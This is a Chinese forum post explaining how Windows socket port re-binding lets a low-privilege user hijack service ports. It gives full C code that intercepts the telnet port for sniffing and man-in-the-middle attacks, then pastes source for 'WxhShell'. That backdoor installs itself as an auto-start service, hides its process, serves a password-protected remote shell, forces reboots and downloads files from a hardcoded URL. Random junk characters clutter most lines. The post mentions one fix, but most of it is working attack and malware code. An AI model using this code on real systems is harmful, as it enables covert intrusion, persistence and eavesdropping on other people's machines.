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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~2@+#1[g8z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {'C PLJ{R  
nsIx5UA_n  
  saddr.sin_family = AF_INET; Azv j(j  
: KhAf2A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Cp`)*P2  
&}_ $@  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lQj3# !1}  
;9PJ K5>~  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 87l(a,#J  
62TWqQ!9d  
  这意味着什么?意味着可以进行如下的攻击: [v ( \y  
Q'/v-bd?o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /FJ )gQYA  
/Fy2ZYs,`8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b-ZC~#?|b  
^&F8NEb=2>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Yj)H!Cp.xD  
0}}b\!]9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xTiC[<j  
0Mpc#:a%1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ))- B`vi  
aMKi`EW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @xIKYJyU  
}G}2Y (  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 %MGbIMpY  
i eQQ{iGJH  
  #include 4WU%K`jnXb  
  #include UfIH!6Q  
  #include qIIc>By(\"  
  #include    g\^7Q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "i0{E!,XL  
  int main() ,j\1UAa  
  { r#hA kOw  
  WORD wVersionRequested; OZ##x  
  DWORD ret; (Qq;ySZ#  
  WSADATA wsaData; %ub\+~  
  BOOL val; x8 :  
  SOCKADDR_IN saddr; bwN>E+  
  SOCKADDR_IN scaddr; fGS5{dti  
  int err; p?F%a;V3  
  SOCKET s; Xy/lsaVskX  
  SOCKET sc; WX<),u2@  
  int caddsize; +)YU/41W  
  HANDLE mt; _]zm02|  
  DWORD tid;   z0|%h?N  
  wVersionRequested = MAKEWORD( 2, 2 ); *%'nlAX6%  
  err = WSAStartup( wVersionRequested, &wsaData ); KYBoGCS>  
  if ( err != 0 ) { FbO\#p s  
  printf("error!WSAStartup failed!\n"); d h5%  
  return -1; /`$9H|  
  } C]H'z  
  saddr.sin_family = AF_INET; o+Cd\D69S  
   1@" L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 BN\Y N  
L *",4!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); bit@Kv1<C  
  saddr.sin_port = htons(23); o&WKk5$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s.ywp{EF  
  { [HO=ii]Wb  
  printf("error!socket failed!\n"); >wx1M1  
  return -1; qcpAjjK  
  } /A$mP)}tz  
  val = TRUE; Eci,];S7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +'aG&^k4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G_OLUuK?C  
  { mtfEK3?2*  
  printf("error!setsockopt failed!\n"); U&x)Q  
  return -1; ^q{=mf`  
  } !| ObNS  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Sy\ec{$+V]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o& -c5X4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 hHXTSk2  
(.D|%P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1:{BC2P  
  { =6Z$nc R  
  ret=GetLastError(); #>)OLKP  
  printf("error!bind failed!\n"); N-C=O  
  return -1; lHl1Ny\?  
  } R|tf}~u !x  
  listen(s,2); Xh'_Vx{.j`  
  while(1) Km/#\$|}  
  { nG B jxhl  
  caddsize = sizeof(scaddr); yex4A)n9"'  
  //接受连接请求 R8"qDj  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); gxa@da  
  if(sc!=INVALID_SOCKET) 2o5Pbdel  
  { iLhxcM2K  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ftr?@^  
  if(mt==NULL) BBkYc:B=SA  
  { o]gS=iLp  
  printf("Thread Creat Failed!\n"); +,wCV2>\3  
  break; [*i6?5}-  
  } znVao %b  
  } C{g Y*+  
  CloseHandle(mt); LS(J%\hMDm  
  } b Ag>;e(  
  closesocket(s); j=>:{`*c  
  WSACleanup(); ;~nz%L J  
  return 0; svT1b'=\$I  
  }   `-,yJ  
  DWORD WINAPI ClientThread(LPVOID lpParam) <OR f{  
  { Y#[Wv1hi  
  SOCKET ss = (SOCKET)lpParam; -XcX1_  
  SOCKET sc; :Ca]/]]  
  unsigned char buf[4096]; ??MF8 uv  
  SOCKADDR_IN saddr; >o45vB4o  
  long num; 2p6`@8*34  
  DWORD val; 4|yZA*Q^  
  DWORD ret; @20~R/vh  
  //如果是隐藏端口应用的话,可以在此处加一些判断 &uX| Ksq  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   cwK+{*ZH/  
  saddr.sin_family = AF_INET; ;`p!/9il  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dF (m!P/R  
  saddr.sin_port = htons(23); Lc0yLm  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <Oyxzs  
  { a d,0*(</  
  printf("error!socket failed!\n"); iD/r8_}  
  return -1; 0qdgt  
  } Z{#;my*X|  
  val = 100; B%~D`[~?  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3jaY\(`%h  
  { WZ#|?pJ  
  ret = GetLastError(); 6X1_NbC  
  return -1; d|~A>YZ  
  } +[2X@J  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rEWPVT  
  { hp:8e@  
  ret = GetLastError(); h~ F`[G/'  
  return -1; LEM^8G]O  
  } ptcG:  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;?-`n4B&  
  { VOmWRy"L  
  printf("error!socket connect failed!\n"); JE[+  
  closesocket(sc); 1Vden.H*CI  
  closesocket(ss); ]n/fB|tE  
  return -1; l>H G|ol  
  } 4t Z. T9d  
  while(1) Wd0$t    
  { #!h +K"wX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QqS?-   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 GiF})e}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `/1Zy}cD  
  num = recv(ss,buf,4096,0); uI'g]18Hi  
  if(num>0) Dq~PxcnI  
  send(sc,buf,num,0); HDTdOG)  
  else if(num==0) m{ya%F  
  break; ^Z 9v_qB  
  num = recv(sc,buf,4096,0); =z]8;<=pL  
  if(num>0) JW`Kh*,~<  
  send(ss,buf,num,0); ~w>Z !RuhT  
  else if(num==0) ]0g%)fuMf  
  break; l:Y$A$W]>  
  } .F*2]xj@"  
  closesocket(ss); >Za66<:  
  closesocket(sc); 8G SO]R  
  return 0 ; HJ\CGYmyz  
  } 2k^dxk~$V;  
qtv>`:neB  
FyZiiH4|  
========================================================== /G>reG,G  
j5cc"s  
下边附上一个代码,,WXhSHELL [xVE0l*\   
JMT?+/Qbu  
========================================================== kOe~0xoT@u  
.QhH!#Y2D  
#include "stdafx.h" !iOuIYjV  
v{H3DgyG  
#include <stdio.h> e$wbYByW  
#include <string.h> X> *o\   
#include <windows.h> /)ubyl]^p  
#include <winsock2.h> $B iG7,[#  
#include <winsvc.h> rLzYkZ  
#include <urlmon.h> >QusXD"L>  
x_&m$Fh  
#pragma comment (lib, "Ws2_32.lib") ^1%gQ@P  
#pragma comment (lib, "urlmon.lib") M?UlC   
p2=Sbb  
#define MAX_USER   100 // 最大客户端连接数 1qs~[7{C1  
#define BUF_SOCK   200 // sock buffer UJ0Dy ` f  
#define KEY_BUFF   255 // 输入 buffer Qbc62qFu!  
mndUQN_Gb  
#define REBOOT     0   // 重启 o6} +5  
#define SHUTDOWN   1   // 关机 0shNwV1zF  
Q&rf&8iH  
#define DEF_PORT   5000 // 监听端口 J)l]<##  
`P`n qn  
#define REG_LEN     16   // 注册表键长度 :*2+t-  
#define SVC_LEN     80   // NT服务名长度 l; e&p${P  
lRn6Zh  
// 从dll定义API v!;E1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t `4^cd5V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]c8$%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9iQcK&D 2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \w 6%J77  
!(!BW9Zt+  
// wxhshell配置信息 r|Y|u v0  
struct WSCFG { tk^1Ga3  
  int ws_port;         // 监听端口 VD \pQ.=  
  char ws_passstr[REG_LEN]; // 口令 cZRLYOC  
  int ws_autoins;       // 安装标记, 1=yes 0=no r: _- Cj  
  char ws_regname[REG_LEN]; // 注册表键名 RRD\V3C84  
  char ws_svcname[REG_LEN]; // 服务名 ^"w.v' sL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 NLJD}{8Ot  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 n7vLw7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /D[GXX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Bx&.Tj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J3sO%4sYR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zXB]Bf3TH  
?80@+y]  
}; + R)x5  
}*n(RnCn  
// default Wxhshell configuration lQ%]](a6  
struct WSCFG wscfg={DEF_PORT, 5L<}u` 0J  
    "xuhuanlingzhe", ?=<vC  
    1, 6(4o}Sv  
    "Wxhshell", YbC6&_  
    "Wxhshell", &DX9m4,y  
            "WxhShell Service", kWfNgu$xK  
    "Wrsky Windows CmdShell Service", t|*PC   
    "Please Input Your Password: ", auP:r  
  1, i3.8m=>  
  "http://www.wrsky.com/wxhshell.exe", [Cz.K?+#M  
  "Wxhshell.exe" dXh@E 7  
    }; 1Tn!.E *  
'JEZ;9}  
// 消息定义模块 4\q7.X+^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _%s_w)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B{ NKDkDH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FhB^E$r%  
char *msg_ws_ext="\n\rExit."; ]xfAdBi  
char *msg_ws_end="\n\rQuit."; s,^?|Eo;0  
char *msg_ws_boot="\n\rReboot..."; !oU$(,#9  
char *msg_ws_poff="\n\rShutdown..."; SaEe7eHd  
char *msg_ws_down="\n\rSave to "; 's$pr#V  
OwP9=9};  
char *msg_ws_err="\n\rErr!"; vd-`?/,||  
char *msg_ws_ok="\n\rOK!"; k@5,6s:  
I}Z[F,}*J  
char ExeFile[MAX_PATH]; -A9 !Y{Z  
int nUser = 0; Y*``C):K%  
HANDLE handles[MAX_USER]; wLD/#Hfi7  
int OsIsNt; ~(B\X?v  
p5C sw5  
SERVICE_STATUS       serviceStatus; Sv-}w$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w\Q3h`.  
a#1LGH7E8  
// 函数声明 qH6DZ|  
int Install(void); -8tWc]c |4  
int Uninstall(void); q*A2>0O  
int DownloadFile(char *sURL, SOCKET wsh); \%NhggS*  
int Boot(int flag); nJ4h9`[>V  
void HideProc(void); 4j!MjlG$  
int GetOsVer(void); .i/]1X*;r^  
int Wxhshell(SOCKET wsl); (0W%Y Z!&  
void TalkWithClient(void *cs); i^uC4S~  
int CmdShell(SOCKET sock);  zUqiz  
int StartFromService(void); JRA.,tQc  
int StartWxhshell(LPSTR lpCmdLine); _]tR1T5e  
>"F~%D<.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >qx~m>2|8]  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); g\ @nA4  
kTex>1W;  
// 数据结构和表定义 *6Rl[eXS  
SERVICE_TABLE_ENTRY DispatchTable[] = 3h"; 2  
{ O6;>]/`  
{wscfg.ws_svcname, NTServiceMain},  | qHWM  
{NULL, NULL} $BE^'5G&4Y  
}; 8N6a=[fv<  
^lu)'z%6  
// 自我安装 h^>kjMM  
int Install(void) -p ) l63  
{ O6OP{sb  
  char svExeFile[MAX_PATH]; yQhrPw> m  
  HKEY key; a-Cp"pKlVY  
  strcpy(svExeFile,ExeFile); -baGr;,Cu  
,-c(D-&  
// 如果是win9x系统,修改注册表设为自启动 ;0xCrE{l"  
if(!OsIsNt) { SBjtg@:G0n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HtEjM|zj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $7)O&T*q'  
  RegCloseKey(key); ER5Q` H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9;Wz;p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qB]z"Hfq,  
  RegCloseKey(key); dWD,iO_"@  
  return 0; |gxU;"2`5~  
    } Xk]5*C]6<  
  } W\U zw,vI  
} Oe$cM=Yf  
else { p>K'6lCa  
;y6Jo  
// 如果是NT以上系统,安装为系统服务 5vbnO]8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]02 l!"  
if (schSCManager!=0) 1y0.tdI(  
{ ) 0AE*S  
  SC_HANDLE schService = CreateService 'QT(TF>  
  ( =JO|m5z8>  
  schSCManager, =oT@h 9VI  
  wscfg.ws_svcname, U]hQ#a+  
  wscfg.ws_svcdisp, 9aZ3W<N`M  
  SERVICE_ALL_ACCESS, kc8GnKM&mc  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6{azzk8  
  SERVICE_AUTO_START, K^{`8E&A  
  SERVICE_ERROR_NORMAL, Yc?taL)  
  svExeFile, ,l; &Tb=k  
  NULL, EemKYcE@Nr  
  NULL, %/etoK  
  NULL, _5 tw1 >  
  NULL, 5B2x# m|8  
  NULL -#gb {vj  
  ); ZFW}Vnl  
  if (schService!=0) >w j7Y`  
  { jI;bVG  
  CloseServiceHandle(schService); O|y-nAZgU  
  CloseServiceHandle(schSCManager); tO[+O=d  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); GetUCb%1  
  strcat(svExeFile,wscfg.ws_svcname); 0A?w,A`"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a' #-%!]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q(]-\L'  
  RegCloseKey(key); ;S?1E:\av  
  return 0; K/\#FJno  
    } $Q{1^  
  } 0M8JE9 Kx  
  CloseServiceHandle(schSCManager); aGpRdF1;!  
} zo} SS[  
} 4#2iL+   
~BS*x+M  
return 1; i6`8yw  
}  _&(ij(H  
87<y_P@{  
// 自我卸载 mnmwO(.  
int Uninstall(void) oN `tZ;a  
{ sgX}`JH?z  
  HKEY key; w,}}mC)\*  
p+8]H %  
if(!OsIsNt) { 7vj[ AOq3l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z%Z}vWn  
  RegDeleteValue(key,wscfg.ws_regname); &g& &-=7)  
  RegCloseKey(key); o=`9JKB~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ( ?/0$DB  
  RegDeleteValue(key,wscfg.ws_regname); TdQ^^{SRp  
  RegCloseKey(key); LG<lZ9+y  
  return 0; lC_zSmT  
  } KG3*~G  
} TJ; v}HSo  
} =dA T^e##  
else { (ZEVbAY?i  
2{V|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VsZ_So;  
if (schSCManager!=0) !@YYi[Gk  
{ 3@"VS_;?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iL,3g[g  
  if (schService!=0) ItaJgtsV  
  { B:mlBSH  
  if(DeleteService(schService)!=0) { <BU|?T6~  
  CloseServiceHandle(schService); 'h= >ej*  
  CloseServiceHandle(schSCManager); q!ZmF1sU  
  return 0; ]#:xl}'LS  
  } w x,;  
  CloseServiceHandle(schService); 1|. 0]~0  
  } +z[!]^H]4  
  CloseServiceHandle(schSCManager); .<NXk"\!y  
} qFs<s<]  
} =~0XdS/1  
YD+C1*c!  
return 1; O,OGq0c  
} ;XtDz  
]cA~%$c89s  
// 从指定url下载文件 I9Sh~vTm=u  
int DownloadFile(char *sURL, SOCKET wsh) h{JVq72R  
{ %qE#^ U  
  HRESULT hr; ?x[>g!r  
char seps[]= "/"; kW:!$MX!  
char *token; C,<TAm  
char *file; _:K}DU'6  
char myURL[MAX_PATH]; =[jBOx&  
char myFILE[MAX_PATH]; 7J;.T%4 l  
=f|>7m.p  
strcpy(myURL,sURL); ]_pL79y  
  token=strtok(myURL,seps); 7>~iS@7GV  
  while(token!=NULL) 0[i]PgIH  
  { ]Aluk|"`U  
    file=token; n=>Gu9`  
  token=strtok(NULL,seps); C=b5[, UCB  
  } 785iY865  
r9t{/})A  
GetCurrentDirectory(MAX_PATH,myFILE); *FE<'+%  
strcat(myFILE, "\\"); [ho'Pc3A<  
strcat(myFILE, file); XM 7zA^-  
  send(wsh,myFILE,strlen(myFILE),0);  WcJ{}V9  
send(wsh,"...",3,0); p{,fWk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /<2_K4(-{4  
  if(hr==S_OK) 0iB 1_)~  
return 0; tQ|I$5jNJ  
else Y~:7l5C  
return 1; h/k`+  
nSC>x:jY5/  
} X@G`AD'.M  
Sh*P^i.]+  
// 系统电源模块 8xv\Zj+  
int Boot(int flag) o{hKt?  
{ i :$g1  
  HANDLE hToken; .) GVb<w  
  TOKEN_PRIVILEGES tkp; >mV""?r]  
i~9)Hz;!  
  if(OsIsNt) { Cn<kl^!Q-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |S8pq4eKJ_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C,]Ec2  
    tkp.PrivilegeCount = 1; GGuLxc?(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3TtW2h>M  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); h P1|l  
if(flag==REBOOT) { #.='dSj  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Xo5L:(?K  
  return 0; i,HAXPi  
} ,@;<u'1\G  
else { [y:LA ~q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =ht@7z8QM  
  return 0; EAkP[au.  
} L!G3u/  
  } \[&]kPcDl  
  else { ')aYkO{%sb  
if(flag==REBOOT) { X<{m;T `  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &Xav$6+Z1J  
  return 0; Ll`apKr  
} $d=lDN  
else { 5e LPn  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 5 9vGLN!L  
  return 0;  ?.s*)n  
} nr^p H.  
} [Wh 43Z  
8HOmWQS  
return 1; E$wB bm  
} %'HUC>ChN  
l rzW H0Q  
// win9x进程隐藏模块 3{l"E(qqZ  
void HideProc(void) iI1t P  
{ Ame%:K!t  
^:j$p,0e*S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %([c4el>\F  
  if ( hKernel != NULL ) |(<L!6  
  { WToAT;d2h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]*|K8&jxl  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ||4Dtg K  
    FreeLibrary(hKernel); j$^]WRt  
  } * y B-N;I  
K0\WN"ua;  
return; &g!/@*[Nhh  
} C0%%@ 2+  
?2TH("hV$  
// 获取操作系统版本 Z7^}G=*  
int GetOsVer(void) #O WSy'Qnt  
{ t/Fe"T[,V  
  OSVERSIONINFO winfo; Q  [{vU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F*4+7$E0B  
  GetVersionEx(&winfo); 1|VJND  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) NP8TF*5V  
  return 1; `{Jb{L@f  
  else 0FOf *Lz  
  return 0; $#r(1 Ev  
} 1N+#(<x@,  
^n/uY94E)p  
// 客户端句柄模块 IoA;q)  
int Wxhshell(SOCKET wsl) BR2y1Hfi  
{ J.nq[/Q=  
  SOCKET wsh; z@i4dC  
  struct sockaddr_in client; Q\76jD`m\  
  DWORD myID; ?la_ +;m  
qpl5n'qHUc  
  while(nUser<MAX_USER) p2G8 Qls  
{ .D .Rn/  
  int nSize=sizeof(client); l 5FQ!>IM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); umzYJ>2t  
  if(wsh==INVALID_SOCKET) return 1; Pcs@`&}7r  
[/G;XHL;?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R5"p7>  
if(handles[nUser]==0) T8-$[ 2  
  closesocket(wsh); :3f2^(b~^  
else &}O!l'  
  nUser++; `?x$J 6p  
  } dK: "  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e`r;`a&  
{P&^Erx  
  return 0; J~q+G  
} dI-5%Um  
ydQS"]\g  
// 关闭 socket kg@h R}  
void CloseIt(SOCKET wsh) [Jo TWouNU  
{ WFP\;(YV  
closesocket(wsh); h86={@Le  
nUser--; 0K ?(xB  
ExitThread(0); YHYB.H)  
} {O) &5  
W#j,{&KVn  
// 客户端请求句柄 @3YuV=QfH  
void TalkWithClient(void *cs) 4Z }{hc\J  
{ F/sBr7I  
mx~sxYa  
  SOCKET wsh=(SOCKET)cs; d&`j 8O  
  char pwd[SVC_LEN]; &J$5+"/;X  
  char cmd[KEY_BUFF]; Wi^rnr'S s  
char chr[1]; I?>T"nV +'  
int i,j; )\vHIXnfJ1  
{R;M`EU>  
  while (nUser < MAX_USER) { yU,xcq~l  
8n5nHne  
if(wscfg.ws_passstr) { aUK4{F ;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tY=%@v'6?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bq@wS\W>b}  
  //ZeroMemory(pwd,KEY_BUFF); _eV n#!|  
      i=0; 'qAfei']  
  while(i<SVC_LEN) { GDp p`'\  
!T#y r)  
  // 设置超时 p^P y,  
  fd_set FdRead; OPW"AB J  
  struct timeval TimeOut; ,<b|@1\k  
  FD_ZERO(&FdRead); _~Vz+nT  
  FD_SET(wsh,&FdRead); CDj Dhs  
  TimeOut.tv_sec=8; e"#D){k#  
  TimeOut.tv_usec=0; 4Z9wzQ>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~+C?][T  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sdYj'e:N  
e oSM@Isu  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |SKG4_wGe  
  pwd=chr[0]; z\>X[yNpA  
  if(chr[0]==0xd || chr[0]==0xa) { J"/z?!)IB  
  pwd=0; PMs_K"-K  
  break; j#t8Krd] "  
  } +wozjjc  
  i++; ?K {1S  
    } JZ/O0PW  
 ii y3  
  // 如果是非法用户,关闭 socket BWdc^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S.|kg2  
} AYIz;BmWy  
<[:7#Yo g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2 pa3}6P+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P lH`(n#  
$'YKB8C  
while(1) { ggc?J<Dv  
w/5^R  
  ZeroMemory(cmd,KEY_BUFF); D"4&9"CU  
V9u\;5oL  
      // 自动支持客户端 telnet标准   9zYiG3 d  
  j=0; NjN?RB/5  
  while(j<KEY_BUFF) { T% 13 '  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -MU.Hu  
  cmd[j]=chr[0]; heZy 66  
  if(chr[0]==0xa || chr[0]==0xd) { Q4Fq=kTE  
  cmd[j]=0; UvJuOh+  
  break; &v5.;8u+OV  
  } _iJXp0g  
  j++; :dIQV(iW  
    } 'z}M[h K]  
68<Z\WP  
  // 下载文件 ~X<cG=p~u  
  if(strstr(cmd,"http://")) { 7[v@*/W@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !{tiTA  
  if(DownloadFile(cmd,wsh)) )9L pX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F4E3c4 81  
  else lkH;N<U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `k]!6osZo  
  } nIQ&gbfO  
  else { 2 ?- 07g  
L3GC[$S  
    switch(cmd[0]) { PuZs 5J3  
  Ocwp]Mut&  
  // 帮助 x2;i< |  
  case '?': { .um&6Q=2<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^M"z1B]  
    break; bk"k&.C^+  
  } 15KV} ){  
  // 安装 M&/aJRBS  
  case 'i': { wK'!xH^  
    if(Install()) OssR[$69  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TT2cOw  
    else k l!?/M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +6hl@Fm(  
    break; EEs-&  
    } WAB0e~e:|Q  
  // 卸载 }PQSCl^I  
  case 'r': { r}0C8(oq  
    if(Uninstall()) AR~$MCR]"k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @>fO;*  
    else sCtw30BL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7e c0Xh1  
    break; p/k<wCm6  
    } poQdI?ed,  
  // 显示 wxhshell 所在路径 F|?+>c1}  
  case 'p': { 9#&W!f*qO|  
    char svExeFile[MAX_PATH]; a We Bav}_  
    strcpy(svExeFile,"\n\r"); >*= =wlOB  
      strcat(svExeFile,ExeFile); q)V1{B@  
        send(wsh,svExeFile,strlen(svExeFile),0); %U5P}  
    break; xshAr J&A  
    } %x}&=zx0*1  
  // 重启 Y62u%':X  
  case 'b': { wY3|#P CDV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y=9Dxst"V  
    if(Boot(REBOOT)) p2x1xv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); & &" 'dL  
    else { Lo9G4Cu  
    closesocket(wsh); z^rhgs?4  
    ExitThread(0); h;%i/feFg  
